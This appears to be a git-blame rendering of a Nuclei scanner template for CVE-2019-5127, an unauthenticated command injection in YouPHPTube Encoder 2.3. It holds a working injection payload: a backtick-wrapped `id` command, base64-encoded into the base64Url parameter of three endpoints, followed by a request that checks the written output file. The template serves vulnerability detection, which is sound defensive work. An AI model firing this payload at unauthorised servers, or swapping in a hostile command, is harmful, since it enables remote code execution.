2021-02-10 11:03:39 +00:00
id : CVE-2019-5127
info :
2022-05-09 16:12:52 +00:00
name : YouPHPTube Encoder 2.3 - Remote Command Injection
2021-02-10 11:03:39 +00:00
author : pikpikcu
severity : critical
2023-04-12 10:55:48 +00:00
description : YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
2023-09-06 12:53:28 +00:00
remediation : |
Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
2022-05-09 16:12:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-5127
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-5127
cwe-id : CWE-78
2023-10-14 11:27:55 +00:00
epss-score : 0.97433
2024-01-14 13:49:27 +00:00
epss-percentile : 0.99938
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : youphptube
product : youphptube_encoder
2023-12-05 09:50:33 +00:00
tags : cve,cve2019,rce,youphptube
2023-07-20 07:43:09 +00:00
variables :
filename : "{{to_lower(rand_text_alpha(5))}}"
encode : "`id > {{filename}}.txt`"
2023-04-27 04:28:59 +00:00
http :
2021-02-10 11:03:39 +00:00
- method : GET
path :
2023-07-20 07:43:09 +00:00
- "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
- "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
- "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"
2023-07-11 19:49:27 +00:00
2021-02-10 11:03:39 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
2023-07-11 19:49:27 +00:00
2021-02-10 11:03:39 +00:00
- method : GET
path :
2023-07-20 07:43:09 +00:00
- "{{BaseURL}}/objects/{{filename}}.txt"
2023-07-11 19:49:27 +00:00
2021-02-10 11:03:39 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
matchers-condition : and
matchers :
2021-03-04 15:23:55 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-03-04 15:23:55 +00:00
words :
- "uid="
- "gid="
- "groups="
2021-02-10 11:03:39 +00:00
condition : and
2021-03-04 15:23:55 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-04 15:23:55 +00:00
words :
- text/plain
2021-02-10 11:03:39 +00:00
- type : status
status :
- 200
2024-01-14 14:05:19 +00:00
# digest: 4b0a00483046022100da329e1c5d2c07b1f47b1809a6ebbb023569ca5a401c10cdcba4e2984833f81f022100e1e24bcff3a1b3be6e52624ae4a1e4333f0a6497357aa94b6a85b0a5727c1850:922c64590222798bb761d5b6d8e72950